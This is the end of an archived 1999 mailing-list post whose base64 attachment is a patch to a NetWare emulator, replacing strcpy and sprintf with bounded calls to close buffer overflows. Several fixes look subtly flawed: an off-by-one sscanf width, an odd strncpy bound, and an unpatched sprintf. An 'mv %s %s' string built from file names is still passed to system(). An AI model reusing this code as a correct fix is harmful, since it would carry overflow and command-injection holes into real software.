    ICAgICAgICAgICAgICAgZWxzZSBpZiAoIXN0cmNtcChidWYsICI4MDIuMiIpKQogICAgICAgICAg
    ICAgICAgIGZyYW1lPUlQWF9GUkFNRV84MDIyOwotLS0gbnd2b2x1bWUuYy5vcmlnCU1vbiBBdWcg
    MzAgMTM6MzU6MjMgMTk5OQorKysgbnd2b2x1bWUuYwlNb24gQXVnIDMwIDEzOjM4OjM4IDE5OTkK
    QEAgLTE0MiwxMSArMTQyLDExIEBACiAgICAgICB1aW50OCBvcHRpb25zdHJbMjU2XTsKICAgICAg
    IHVpbnQ4IHVtb2RlX2RpcnN0clsyNTZdOwogICAgICAgdWludDggdW1vZGVfZmlsZXN0clsyNTZd
    OwogICAgICAgdWludDggKnA7CiAgICAgICBpbnQgICBsZW47Ci0gICAgICBpbnQgICBmb3VuZHMg
    PSBzc2NhbmYoKGNoYXIqKWJ1ZmYsICIlcyAlcyAlcyAlcyAlcyIsCisgICAgICBpbnQgICBmb3Vu
    ZHMgPSBzc2NhbmYoKGNoYXIqKWJ1ZmYsICIlMjU2cyAlMjU2cyAlMjU2cyAlMjU2cyAlMjU2cyIs
    CiAgICAgICAgICAgICAgICAgIHN5c25hbWUsIHVuaXhuYW1lLCBvcHRpb25zdHIsIHVtb2RlX2Rp
    cnN0ciwgdW1vZGVfZmlsZXN0cik7CiAgICAgICBpZiAoZm91bmRzID4gMSkgewogICAgICAgICBO
    V19WT0wgKnZvbD0mKG53X3ZvbHVtZXNbdXNlZF9ud192b2x1bWVzXSk7CiAgICAgICAgIHZvbC0+
    b3B0aW9ucyAgICAgICA9IFZPTE9QVElPTlNfREVGQVVMVDsKICAgICAgICAgdm9sLT5vcHRpb25z
    ICAgICAgfD0gVk9MX05BTUVTUEFDRV9ET1M7CkBAIC0zMzksMTMgKzMzOSwxMyBAQAogICAgICAg
    aWYgKGhvbWVwYXRobGVuID4gMCAmJiBud192b2x1bWVzW2tdLmFkZG9ubGVuKSB7CiAgICAgICAg
    IGlmIChob21lcGF0aGxlbiArIG53X3ZvbHVtZXNba10uYWRkb25sZW4gPiAyNTYpIHsKICAgICAg
    ICAgICBmbGVuID0gMDsKICAgICAgICAgICBmbmFtZSA9ICIiOwogICAgICAgICB9IGVsc2Ugewot
    ICAgICAgICAgIHN0cmNweShmdWxsbmFtZSwgdW5peG5hbWUpOworICAgICAgICAgIHN0cm5jcHko
    ZnVsbG5hbWUsIHVuaXhuYW1lLCBzaXplb2YoZnVsbG5hbWUpLTEpOwogICAgICAgICAgIC8qIGNv
    bmNhdGVuYXRpb24gJEhPTUUvIGFuZCBhZGQvb24vICovCi0gICAgICAgICAgc3RyY3B5KGZ1bGxu
    YW1lICsgaG9tZXBhdGhsZW4sIG53X3ZvbHVtZXNba10uaG9tZWFkZG9uKTsKKyAgICAgICAgICBz
    dHJuY3B5KGZ1bGxuYW1lICsgaG9tZXBhdGhsZW4sIG53X3ZvbHVtZXNba10uaG9tZWFkZG9uLCBz
    aXplb2YoZnVsbG5hbWUpLWhvbWVwYXRobGVuLTEpOwogICAgICAgICAgIGZuYW1lID0gZnVsbG5h
    bWU7CiAgICAgICAgICAgZmxlbiA9IGhvbWVwYXRobGVuICsgbndfdm9sdW1lc1trXS5hZGRvbmxl
    bjsKICAgICAgICAgfQogICAgICAgfQogICAgICAgbndfdm9sdW1lc1trXS51bml4bmFtbGVuID0g
    IGZsZW47CkBAIC02NjQsMTQgKzY2NCwxNCBAQAogewogICBOV19WT0wgKnY9Jihud192b2x1bWVz
    W3ZvbHVtZV0pOwogICB1aW50OCB0cnVzdGVlcGF0aFs1MDBdOwogICB1aW50OCAqcDsKICAgZnJl
    ZV92b2xfdHJ1c3RlZSh2KTsKLSAgc3RyY3B5KHRydXN0ZWVwYXRoLCBwYXRoX3RydXN0ZWVzKTsK
    KyAgc3RybmNweSh0cnVzdGVlcGF0aCwgcGF0aF90cnVzdGVlcywgc2l6ZW9mKHRydXN0ZWVwYXRo
    KS0xKTsKICAgcD10cnVzdGVlcGF0aCtzdHJsZW4odHJ1c3RlZXBhdGgpOwogICAqcCsrPScvJzsK
    LSAgc3RyY3B5KHAsIHYtPnN5c25hbWUpOworICBzdHJuY3B5KHAsIHYtPnN5c25hbWUsIHNpemVv
    Zih0cnVzdGVlcGF0aCktc3RybGVuKHApLTEpOwogICBwKz1zdHJsZW4odi0+c3lzbmFtZSk7CiAg
    ICpwKys9Jy8nOwogICAqcD0nXDAnOwogICB2LT50cnVzdGVlX2lkPWlkOwogICB2LT50cnVzdGVl
    X25hbWVzcGFjZT1uYW1lc3BhY2U7Ci0tLSB0cnVzdGVlLmMub3JpZwlNb24gQXVnIDMwIDEzOjQ1
    OjEyIDE5OTkKKysrIHRydXN0ZWUuYwlNb24gQXVnIDMwIDEzOjQ1OjE3IDE5OTkKQEAgLTI4MSwx
    MSArMjgxLDExIEBACiAgIGNoYXIgICBidWZbMjU1XTsKICAgdWludDggIGJ1Zl91Y1s0XTsKICAg
    Y2hhciAgIHZvbG5hbWVbMTAwXTsKICAgaWYgKG53X2dldF92b2x1bWVfbmFtZSh2b2x1bWUsIHZv
    bG5hbWUpIDwgMSkgcmV0dXJuOwogICBVMzJfVE9fQkUzMihpbm9kZSwgYnVmX3VjKTsKLSAgc3By
    aW50ZihidWYsICIlcy8lcy8leC8leC8leC8leC9uLiV4IiwgcGF0aF90cnVzdGVlcywgdm9sbmFt
    ZSwKKyAgc25wcmludGYoYnVmLCBzaXplb2YoYnVmKSwgIiVzLyVzLyV4LyV4LyV4LyV4L24uJXgi
    LCBwYXRoX3RydXN0ZWVzLCB2b2xuYW1lLAogICAgICAgICAgICAgZGV2LAogICAgICAgICAgICAg
    KGludCkgYnVmX3VjWzBdLAogICAgICAgICAgICAgKGludCkgYnVmX3VjWzFdLAogICAgICAgICAg
    ICAgKGludCkgYnVmX3VjWzJdLAogICAgICAgICAgICAgKGludCkgYnVmX3VjWzNdKTsKQEAgLTMw
    NCwxMSArMzA0LDExIEBACiAgIGludCAgICBsOwogICB1aW50OCAgYnVmX3VjWzRdOwogICBjaGFy
    ICAgdm9sbmFtZVsxMDBdOwogICBpZiAobndfZ2V0X3ZvbHVtZV9uYW1lKHZvbHVtZSwgdm9sbmFt
    ZSkgPCAxKSByZXR1cm4oLTB4ZmYpOwogICBVMzJfVE9fQkUzMihpbm9kZSwgYnVmX3VjKTsKLSAg
    bD1zcHJpbnRmKGJ1ZiwgIiVzLyVzLyV4LyV4LyV4LyV4L3QuJXgiLCBwYXRoX3RydXN0ZWVzLCB2
    b2xuYW1lLAorICBsPXNucHJpbnRmKGJ1Ziwgc2l6ZW9mKGJ1ZiksICIlcy8lcy8leC8leC8leC8l
    eC90LiV4IiwgcGF0aF90cnVzdGVlcywgdm9sbmFtZSwKICAgICAgICAgICAgIGRldiwKICAgICAg
    ICAgICAgIChpbnQpIGJ1Zl91Y1swXSwKICAgICAgICAgICAgIChpbnQpIGJ1Zl91Y1sxXSwKICAg
    ICAgICAgICAgIChpbnQpIGJ1Zl91Y1syXSwKICAgICAgICAgICAgIChpbnQpIGJ1Zl91Y1szXSk7
    CkBAIC0zMjYsMTEgKzMyNiwxMSBAQAogICBpbnQgICAgcmVzdWx0PS0weGZlOyAvKiBubyBzdWNo
    IHRydXN0ZWUgKi8KICAgdWludDggIGJ1Zl91Y1s0XTsKICAgY2hhciAgIHZvbG5hbWVbMTAwXTsK
    ICAgaWYgKG53X2dldF92b2x1bWVfbmFtZSh2b2x1bWUsIHZvbG5hbWUpIDwgMSkgcmV0dXJuKHJl
    c3VsdCk7CiAgIFUzMl9UT19CRTMyKGlub2RlLCBidWZfdWMpOwotICBzcHJpbnRmKGJ1ZiwgIiVz
    LyVzLyV4LyV4LyV4LyV4L3QuJXgvJXgiLCBwYXRoX3RydXN0ZWVzLCB2b2xuYW1lLAorICBzbnBy
    aW50ZihidWYsIHNpemVvZihidWYpLCAiJXMvJXMvJXgvJXgvJXgvJXgvdC4leC8leCIsIHBhdGhf
    dHJ1c3RlZXMsIHZvbG5hbWUsCiAgICAgICAgICAgICBkZXYsCiAgICAgICAgICAgICAoaW50KSBi
    dWZfdWNbMF0sCiAgICAgICAgICAgICAoaW50KSBidWZfdWNbMV0sCiAgICAgICAgICAgICAoaW50
    KSBidWZfdWNbMl0sCiAgICAgICAgICAgICAoaW50KSBidWZfdWNbM10sCkBAIC0zNDksMTEgKzM0
    OSwxMSBAQAogICBjaGFyICAgYnVmWzI1NV07CiAgIGNoYXIgICBidWYxWzIwXTsKICAgaW50ICAg
    IGxlbjsKICAgdW5zaWduZWQgaW50IHNlcm51bT0wOwogICBpZiAobndfZ2V0X3ZvbHVtZV9uYW1l
    KHZvbHVtZSwgdm9sbmFtZSkgPCAxKSByZXR1cm4oLTEpOwotICBzcHJpbnRmKGJ1ZiwgIiVzLyVz
    L3RzIiwgcGF0aF90cnVzdGVlcywgdm9sbmFtZSk7CisgIHNucHJpbnRmKGJ1Ziwgc2l6ZW9mKGJ1
    ZiksICIlcy8lcy90cyIsIHBhdGhfdHJ1c3RlZXMsIHZvbG5hbWUpOwogICBsZW49cmVhZGxpbmso
    YnVmLCBidWYxLCBzaXplb2YoYnVmMSktMSk7CiAgIGlmIChsZW4+MCkgewogICAgIGJ1ZjFbbGVu
    XT0nXDAnOwogICAgIGlmICgxIT1zc2NhbmYoYnVmMSwiJXgiLCAmc2VybnVtKSkKICAgICAgIHNl
    cm51bT0wOwpAQCAtMzc4LDExICszNzgsMTEgQEAKICAgdWludDggIGJ1Zl91Y1s0XTsKICAgaW50
    ICAgIGxlbjsKICAgY2hhciAgIHZvbG5hbWVbMTAwXTsKICAgaWYgKG53X2dldF92b2x1bWVfbmFt
    ZSh2b2x1bWUsIHZvbG5hbWUpIDwgMSkgcmV0dXJuOwogICBVMzJfVE9fQkUzMihpbm9kZSwgYnVm
    X3VjKTsKLSAgbGVuPXNwcmludGYoYnVmLCAiJXMvJXMvJXgvJXgvJXgvJXgvIiwgcGF0aF90cnVz
    dGVlcywgdm9sbmFtZSwKKyAgbGVuPXNucHJpbnRmKGJ1Ziwgc2l6ZW9mKGJ1ZiksICIlcy8lcy8l
    eC8leC8leC8leC8iLCBwYXRoX3RydXN0ZWVzLCB2b2xuYW1lLAogICAgICAgICAgICAgZGV2LAog
    ICAgICAgICAgICAgKGludCkgYnVmX3VjWzBdLAogICAgICAgICAgICAgKGludCkgYnVmX3VjWzFd
    LAogICAgICAgICAgICAgKGludCkgYnVmX3VjWzJdKTsKICAgc3ByaW50ZihidWYrbGVuLCAidC4l
    eCIsIChpbnQpYnVmX3VjWzNdKTsKQEAgLTQzNiwxMSArNDM2LDExIEBACiAgIHRyLT5lZmZfcmln
    aHRzICAgICAgICA9IC0xOyAgICAgLyogbm90IHlldCBzZXQgICovCiAgIFUzMl9UT19CRTMyKGlu
    b2RlLCBidWZfdWMpOwogICAKICAgKHZvaWQpbndfZ2V0X3ZvbHVtZV9uYW1lKHZvbHVtZSwgdm9s
    bmFtZSk7CiAgIAotICBsPXNwcmludGYoYnVmLCAiJXMvJXMvJXgvJXgvJXgvJXgvdC4leCIsIHBh
    dGhfdHJ1c3RlZXMsIHZvbG5hbWUsCisgIGw9c25wcmludGYoYnVmLCBzaXplb2YoYnVmKSwgIiVz
    LyVzLyV4LyV4LyV4LyV4L3QuJXgiLCBwYXRoX3RydXN0ZWVzLCB2b2xuYW1lLAogICAgICAgICAg
    ICAgZGV2LAogICAgICAgICAgICAgKGludCkgYnVmX3VjWzBdLAogICAgICAgICAgICAgKGludCkg
    YnVmX3VjWzFdLAogICAgICAgICAgICAgKGludCkgYnVmX3VjWzJdLAogICAgICAgICAgICAgKGlu
    dCkgYnVmX3VjWzNdKTsKQEAgLTQ1NiwxMSArNDU2LDExIEBACiAgICAgICBpZiAoZGlyYnVmZi0+
    ZF9pbm8gJiYgZGlyYnVmZi0+ZF9uYW1lWzBdICE9ICcuJykgewogICAgICAgICBjaGFyICAgICAg
    ICAgYnRydXN0ZWVbMjU1XTsKICAgICAgICAgaW50ICAgICAgICAgIGxlbjsKICAgICAgICAgdW5z
    aWduZWQgaW50IGlkOwogICAgICAgICBpZiAoMSA9PSBzc2NhbmYoZGlyYnVmZi0+ZF9uYW1lLCAi
    JXgiLCAmaWQpKSB7Ci0gICAgICAgICAgc3RyY3B5KHAsIGRpcmJ1ZmYtPmRfbmFtZSk7CisgICAg
    ICAgICAgc3RybmNweShwLCBkaXJidWZmLT5kX25hbWUsIHNpemVvZihidWYpLWwtMSk7CiAgICAg
    ICAgICAgbGVuPXJlYWRsaW5rKGJ1ZiwgYnRydXN0ZWUsIDI1NCk7CiAgICAgICAgICAgaWYgKGxl
    biA+IDApIHsKICAgICAgICAgICAgIHVuc2lnbmVkIGludCB1dHJ1c3RlZT0wOwogICAgICAgICAg
    ICAgYnRydXN0ZWVbbGVuXT0nXDAnOwogICAgICAgICAgICAgaWYgKDEgPT0gc3NjYW5mKGJ0cnVz
    dGVlLCAiJXgiLCAmdXRydXN0ZWUpKSB7Ci0tLSB1bnhmaWxlLmMub3JpZwlNb24gQXVnIDMwIDEz
    OjQ4OjEyIDE5OTkKKysrIHVueGZpbGUuYwlNb24gQXVnIDMwIDEzOjQ4OjE1IDE5OTkKQEAgLTgy
    LDExICs4MiwxMSBAQAogICAgIHdoaWxlICgoZGlyYnVmZiA9IHJlYWRkaXIoZCkpICE9IChzdHJ1
    Y3QgZGlyZW50KilOVUxMKXsKICAgICAgIGlmIChkaXJidWZmLT5kX2lubyAmJiAKICAgICAgICAg
    KCAgICAgZGlyYnVmZi0+ZF9uYW1lWzBdICE9ICcuJwogICAgICAgICAgIHx8IChkaXJidWZmLT5k
    X25hbWVbMV0gIT0gJ1wwJyAmJiAKICAgICAgICAgICAgICAoZGlyYnVmZi0+ZF9uYW1lWzFdICE9
    ICcuJyB8fCBkaXJidWZmLT5kX25hbWVbMl0gIT0gJ1wwJykpKSkgewotICAgICAgICBzdHJjcHko
    cCwgZGlyYnVmZi0+ZF9uYW1lKTsKKyAgICAgICAgc3RybmNweShwLCBkaXJidWZmLT5kX25hbWUs
    IGxlbiszMDArbGVuLTEpOwogICAgICAgICBpZiAodW5saW5rKGJ1ZikgJiYgdW54X3hybWRpcihi
    dWYpKSB7CiAgICAgICAgICAgZXJyb3JwKDEsICJ1bnhfeHJtZGlyIiwgImNhbm5vdCByZW1vdmUg
    JyVzJyIsIGJ1Zik7CiAgICAgICAgICAgYnJlYWs7CiAgICAgICAgIH0KICAgICAgIH0KQEAgLTEw
    MywxMSArMTAzLDExIEBACiAgIHVpbnQ4IGNvbW1hbmRbNTAwXTsKICAgc3RydWN0IHN0YXQgc3Rh
    dGI7CiAgIGlmICghc3RhdChuZXduYW1lLCAmc3RhdGIpKSByZXR1cm4oRUVYSVNUKTsKICAgaWYg
    KHN0YXQob2xkbmFtZSwgICZzdGF0YikpIHJldHVybigtMSk7CiAgIGVsc2UgaWYgKCFTX0lTRElS
    KHN0YXRiLnN0X21vZGUpKSByZXR1cm4oLTEpOwotICBzcHJpbnRmKGNvbW1hbmQsICJtdiAlcyAl
    cyAyPiYxID4vZGV2L251bGwiICwgb2xkbmFtZSwgbmV3bmFtZSk7CisgIHNucHJpbnRmKGNvbW1h
    bmQsIHNpemVvZihjb21tYW5kKS0xLCAibXYgJXMgJXMgMj4mMSA+L2Rldi9udWxsIiAsIG9sZG5h
    bWUsIG5ld25hbWUpOwogICByZXR1cm4oc3lzdGVtKGNvbW1hbmQpKTsKIH0KICNlbmRpZgogCiBp
    bnQgdW54X2Z0cnVuY2F0ZShpbnQgZmQsIHVpbnQzMiBzaXplKQo=
    
    --_=XFMail.1.3.p0.Linux:990830144023:989=_--
    End of MIME message
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:00:49 PDT